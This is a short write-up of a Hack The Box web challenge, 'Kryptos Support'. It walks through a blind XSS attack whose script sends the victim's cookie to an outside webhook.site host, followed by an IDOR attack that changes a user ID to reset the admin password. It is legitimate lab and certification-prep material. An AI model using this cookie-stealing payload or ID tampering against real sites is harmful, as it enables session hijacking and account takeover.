// htb writeup Hack The Box Challenge 2026-02-25
Kryptos_Support
HackTheBox Medium Hack The Box Challenge
root obtained // PWNED

🧪 Challenge Name: Kryptos Support

Platform: Hack The Box (Challenge)
Difficulty: Medium


🧭 Overview

Kryptos Support is a web challenge that involves chaining a Blind XSS vulnerability to hijack a moderator session and then abusing an Insecure Direct Object Reference (IDOR) to reset the administrator password. It’s highly relevant to CBBH prep, as it practices cookie exfiltration and API parameter tampering.


🔍 Recon & Functionality


🚨 Exploitation Steps

1. 🧪 Blind XSS for Moderator Access

Submitted the following payload in the message field:

<script>
  new Image().src="http://webhook.site/abc123?c="+document.cookie;
</script>

Set stolen cookie in browser → Visited /admin → Gained access to /tickets


2. 🔓 IDOR for Admin Takeover

Visited /settings, and intercepted the following request during password change:

{
  "uid": 10,
  "newpassword": "hackedpass"
}

Modified uid to 1:

{
  "uid": 1,
  "newpassword": "hackedpass"
}

🏁 Flags


🧠 Lessons Learned